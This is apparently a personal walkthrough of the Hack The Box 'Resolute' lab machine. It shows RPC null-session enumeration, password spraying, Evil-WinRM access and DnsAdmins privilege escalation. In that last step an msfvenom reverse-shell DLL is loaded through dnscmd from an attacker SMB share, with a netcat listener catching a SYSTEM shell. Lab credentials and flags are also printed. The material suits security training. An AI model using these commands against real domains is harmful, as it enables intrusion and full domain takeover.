45 HTB Resolute

Objectives:

```
1. RPC Enumeration - Abusing querydispinfo
2. CrackMapExec SMB Authentication Spraying
3. Abusing WinRM - EvilWinRM
4. Information Leakage
5. LOLBAS
6. Abusing DnsAdmins Group - dnscmd [Privilege Escalation]
7. Creating a malicious DLL and injecting it into the dns service
```

1. **locate NSE scrpt NMAP**

```
1. locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u
"auth"
"broadcast"
"brute"
"default"
"discovery"
"dos"
"exploit"
"external"
"fuzzer"
"intrusive"
"malware"
"safe"
"version"
"vuln"
```

2. **looks like he is going to try an interesting `.NSE` combo which is *"broadcast and fuzzer"*. This makes the nmap scan like a *FUZZER* because there is not a website to FUZZ. This is most likely a Domain Controller. Acting as a DNS server and LDAP authentication server etc..**

```
1. nmap --script "broadcast and fuzzer"
```

- *#pwn_rpcclient_nullsession_HTB_Resolute*

3. *We are able to login using `RPCCLIENT` as a `nullsession`*

```
~/hackthebox/resolute ▷ rpcclient -U "" 10.10.10.169 -N
```

- *#pwn_RID_clean_up_script_RPCCLIENT_output*
- *#pwn_RPCCLIENT_output_clean_up_script*

4. **How to clean up `RPCCLIENT` enumeration output of `RiDs`.**

```
~/hackthebox/resolute ▷ cat rpc_rid | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]' > users
```

5. **`GetNPUsers.py` script using the users file**
6. **Before running `GetNPUsers.py` he runs `crackmapexec`.**

```
1. crackmapexec smb 10.10.10.169
2. I wasn't able to gain any info I didn't already know
3. (.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.169
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local)
(signing:True) (SMBv1:True)
```

7. **OK, now we run `GetNPUsers.py` on the users file we exfiltrated with the command `enumdomusers`.**

```
1. GetNPUsers.py megabank.local/ -no-pass -usersfile users
```

8. **He goes back to rpcclient to run enumdomgroups.**

```
~/hackthebox/resolute ▷ rpcclient -U "" 10.10.10.169 -N
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
```

```
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Contractors] rid:[0x44f]
```

9. **In *RPCCLIENT* to specify group members or members of a group use `querygroupmem` command**

```
1. ~/hackthebox/resolute ▷ rpcclient -U "" 10.10.10.169 -N -c 'querygroupmem 0x200'
2. Group we just queried was the Domain Admins group. Now we will use the rid of the Domain Admins Group (which
is 0x1f4) that we just querried to query the details of the members of this group
3. ~/hackthebox/resolute ▷ rpcclient -U "" 10.10.10.169 -N -c 'querygroupmem 0x200'
        rid:[0x1f4] attr:[0x7]
4. ~/hackthebox/resolute ▷ rpcclient -U "" 10.10.10.169 -N -c 'queryuser 0x1f4'
..............................................................
        User Name   :   Administrator
        Full Name   :
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :   Built-in account for administering the computer/domain
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Fri, 13 Oct 2023 09:17:59 CST
        Logoff Time              :      Wed, 31 Dec 1969 18:00:00 CST
        Kickoff Time             :      Wed, 31 Dec 1969 18:00:00 CST
        Password last set Time   :      Fri, 13 Oct 2023 23:04:03 CST
        Password can change Time :      Sat, 14 Oct 2023 23:04:03 CST
        Password must change Time:      Wed, 13 Sep 30828 20:48:05 CST
        unknown_2[0..31]...
        user_rid :      0x1f4
        group_rid:      0x201
        acb_info :      0x00000210
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000057
        padding1[0..7]...
        logon_hrs[0..21]...
```

10. **To query a list of descriptions using *RPCCLIENT* use the following command.The reason you should always do this command is because you could find sensitive data in the descriptions.**

```
1. rpcclient -U "" 10.10.10.169 -N -c 'querydispinfo'
.............................................................
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail      Name: (null)    Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for
administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela       Name: (null)    Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette      Name: (null)    Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika       Name: (null)    Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire       Name: (null)    Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude       Name: (null)    Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)    Desc: A user account managed by
the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia      Name: (null)    Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null)    Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access
to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo      Name: (null)    Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service
Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus       Name: (null)    Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak       Desc: Account created. Password
set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie      Name: (null)    Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki        Name: (null)    Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo        Name: (null)    Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per  Name: (null)    Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan  Name: Ryan Bertrand     Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally        Name: (null)    Desc: (null)
```

```
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon        Name: (null)    Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve        Name: (null)    Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie       Name: (null)    Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita       Name: (null)    Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf  Name: (null)    Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null)    Desc: (null)
2. SUCCESS, we have found credentials for 'Marko Novak' .password is 'Welcome123!'
```

Password Spray using CME

- *#pwn_password_spray_using_CME*
- *#pwn_CME_password_spray_HTB_Absolute*

11. **Now that we have a `users` list and a password we should make sure this password is for *Marko Novak* as it could be a password for another user or account.**

```
1. (.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.169 -u ~/hackthebox/resolute/users -p
'Welcome123!' --continue-on-success
2. SUCCESS, as suspected the password is not for Marko Novak the password is valid for Melanie.
3. [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
4. [+] megabank.local\melanie:Welcome123!
5. Administrators will sometimes do this. They think if they leave a password unsecured without encryption for
someone else account that any employee snooping or hacker will not know what account the password is for, but
with these techniques you are able to exfiltrate all the names in a Domain. Then you can password spray
(depending no AV, or fail2ban script does not block you) and match a random password to a specific user.
```

12. **Lets validate Melanie with CrackMapExec.**

```
1. (.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.169 -u 'melanie' -p 'Welcome123!'
SMB 10.10.10.169  445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local)
(signing:True) (SMBv1:True) SMB         10.10.10.169 445 RESOLUTE '[+] megabank.local\melanie:Welcome123!'
2. You should see a green plus sign showing that the credential melanie:Welcome123! is valid.
```

13. **Lets go back to *rpcclient* and try to enumerate the Melanie user see what we can find.**

```
1. rpcclient -U "" 10.10.10.169 -N -c 'enumdomusers'
2. Here is the rid for Melanie, user:[melanie] rid:[0x2775]
3. Now use the 'queryuser rid#' to query melanie using her rid number
4. rpcclient -U "" 10.10.10.169 -N -c 'queryuser 0x2775'
5. Now we can see the group_rid for Melanie is 0x201 if you run a query for 'enumdomgroups' you will see this is
the group [Domain Users].
6. user_rid :   0x2775
        group_rid:      0x201
7. rpcclient -U "" 10.10.10.169 -N -c 'enumdomgroups'
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
'group:[Domain Users] rid:[0x201]'
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
8. She is only a part of the Domain Users Group but we can use this to gain a shell at least and then escalate to
a more privileged user.
```

14. **He wants to find out if *melanie* is a part of the *Remote Management Users Group*. If she is then we can use `Evil-WinRM` with the *winrm* flag to *winrm* into a shell session. The easiest way to find out is just to run *CrackMapExec* with the *winrm* flag. Since we have validated that her credentials are good with *CrackMapExec*. Of course port `5985 OR 5986(secure)` must be open if not there is no point in trying to use `Evil-Winrm` in the first place.**

```
(.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec winrm 10.10.10.169 -u 'melanie' -p 'Welcome123!'
SMB         10.10.10.169    5985   RESOLUTE         [*] Windows 10.0 Build 14393 (name:RESOLUTE)
(domain:megabank.local)
HTTP        10.10.10.169    5985   RESOLUTE         [*] http://10.10.10.169:5985/wsman
WINRM       10.10.10.169    5985   RESOLUTE         [+] megabank.local\melanie:Welcome123!  .Pwn3d!
```

Random Tangent

15. **It is good to know alternatives to *Evil-Winrm* like *rwinrm* and *pywinrm*, just incase the *OSCP* bans it's use in the exam. Which to me would be a bit extreme since *Evil-Winrm* is only for port 5985 and it is not always open or in use like say port 445. It isn't as common.**

Initial-Foothold

`Evil-Winrm` with Melanie

16. **Lets *winrm* in with Melanie since we have verified using *crackmapexec* that she is a part of the Remote Management Users Group.**

```
1. ~/hackthebox/resolute ▷ evil-winrm -i 10.10.10.169 -u 'melanie' -p 'Welcome123!'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> type C:\Users\melanie\Desktop\user.txt
9857088bffb9ed692b98bc0b9b9b73ea
```

`user.txt` flag

17. **We can now verify if Melanie is a part of *Remote Management Users Group* by doing a net user command.**

```
1. *Evil-WinRM* PS C:\Users> net user melanie
User name                    melanie
Full Name
Comment
'Users comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/14/2023 12:38:02 AM
Password expires             Never
Password changeable          10/15/2023 12:38:02 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      '*Remote Management Use'
Global Group memberships     *Domain Users
The command completed successfully.'
```

18. **We need to elevate privileges from here. I tried to access Administrator and we do not have access. I do a net user on Ryan and see that he is a member of the *contractors* group.**

```
*Evil-WinRM* PS C:\Users> net user ryan
.....................................
Global Group memberships     *Domain Users         *Contractors
```

19. **Lets try to get a shell with Ryan. For that we will need to do an enumeration on this box to see if we can find something that will help us get that shell.**

```
1. cd into C:\
2. *Evil-WinRM* PS C:\> dir
PerfLogs
Program
Program
Users
Windows
4. Seems very sparse lets try -Force
5. *Evil-WinRM* PS C:\> dir -Force
6. PSTranscripts, this looks interesting lets cd into it
7. *Evil-WinRM* PS C:\> cd PSTranscripts
8. *Evil-WinRM* PS C:\PSTranscripts> dir
9. *Evil-WinRM* PS C:\PSTranscripts> dir -Force
20191203, this is directory. So far I have to keep using -Force for everything that is a clue to me that I am
probrably on to some sensitive data
10. *Evil-WinRM* PS C:\PSTranscripts\20191203> dir -Force
Mode   LastWriteTime         Length Name
----   -------------         ------ ----
-arh-- 12/3/2019:6:45 AM      3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
11. Jackpot, well I do not know for sure if it is a jackpot but it looks interesting.
```

20. **Enumerating the `Powershell_transcript<snip>.txt`.**

```
1. *Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
2. I think we found some creds here ryan:Serv3r4Admin4cc123!
```

21. **Lets validate the credential with CrackMapExec as allways**

```
(.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'
SMB         10.10.10.169    445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE)
(domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.10.10.169    445    RESOLUTE         [+] megabank.local\ryan:Serv3r4Admin4cc123!  .Pwn3d!
```

22. **Wow, we got admin right away., but this is just a *local administrator* we still need to elevate to Domain Admin. Lets *evil-winrm* into the box with *ryan***

```
1. ~/hackthebox/resolute ▷ evil-winrm -i 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'
2. *Evil-WinRM* PS C:\Users\ryan\Documents> whoami
megabank\ryan
```

23. **With ryan user we find a note on the desktop** `note.txt`

```
1. *Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically
reverted within 1 minute
Ruby
```

24. **Lets continue to enumerate ryan**

```
1. *Evil-WinRM* PS C:\Users\ryan\Desktop> whoami /all
2. ryan is a part of this interesting group
3. MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101
4. *Evil-WinRM* PS C:\Users\ryan\Desktop> net localgroup
*DnsAdmins
5. *Evil-WinRM* PS C:\Users\ryan\Desktop> net localgroup DnsAdmins
Members
----------
Contractors
6. So the contractors group is a member of DnsAdmins group??? Confusing
7. The reason is that the contractors group has rights to the DnsAdmins group so that they can perform their
work. Now I understand.
```

LOLBAS

- *#pwn_LOLBAS_knowledge_base*
- *#pwn_LIVING_OFF_THE_LAND_knowledge_base*

25. **I have been wanting to come across more privilege escalation using *LOLBAS (Living Off the Land Binaries)*. *LOLBAS* is simply a methodology of hacking using Windows own builtin or extra tools to own the domain. Very cool**

```
1. LINK https://lolbas-project.github.io/#
2. Search for DNS
3. Click on Dnscmd.exe
4. This is the payload we need to edit
5. dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
6. dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\ninjafolder\pwned.dll
7. Basically we just got rid of the website. I do not know even how to use the website for this command. Anyway,
the rest is pretty much the same. This exe is going to execute pwned.dll which will be an MSFVENOM reverse shell
as Domain Administrator.
8. Found this explanation as to what the payload is doing.
9. Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that
is 'at least a member of the DnsAdmins group'. Sounds like our situation lets try it.
```

26. **MSFVENOM Reverse Shell**

```
1. msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o pwned.dll
2. ~/hackthebox/resolute ▷ chmod 755 pwned.dll
3. I do not think you need to chmod it to 755 but why not
```

27. **Set up an *smbserver*. I always set up mine with *ninjafolder*. I also had a feeling he was going to use** `smbserver.py`**.**

```
1. ~/hackthebox/resolute ▷ sudo smbserver.py ninjafolder $(pwd) -smb2support
2. ~ ▷ sudo rlwrap -cAr nc -nlvp 443
3. *Evil-WinRM* PS C:\Users\ryan\Desktop> dnscmd.exe /config /serverlevelplugindll
\\10.10.14.5\ninjafolder\pwned.dll
.....................................................
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
```

```
4. We have nothing downloading or uploading our payload from the smbserver in order to do this we need to stop and start DNS
5. *Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
5. To stop and start it we need to do it quickly if not DNS will auto restart in a minute. So do the following commands in quick succession with your listener on 443 and smbserver set up correctly and then the following 3 commands in quick succession.
6. *Evil-WinRM* PS C:\Users\ryan\Desktop> dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\ninjafolder\pwned.dll
7. *Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe stop dns
8. *Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe start dns
9. Pwn3d! We are now System.
```

Pwn3d NT AUTHORITY SYSTEM

28. **PWNED**

```
~ ▷ sudo rlwrap -cAr nc -nlvp 443
[sudo] password for pepe:
Listening on 0.0.0.0 443
Connection received on 10.10.10.169 65181
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
e0b2155d8a58e1cc16245da7033d3ad3
```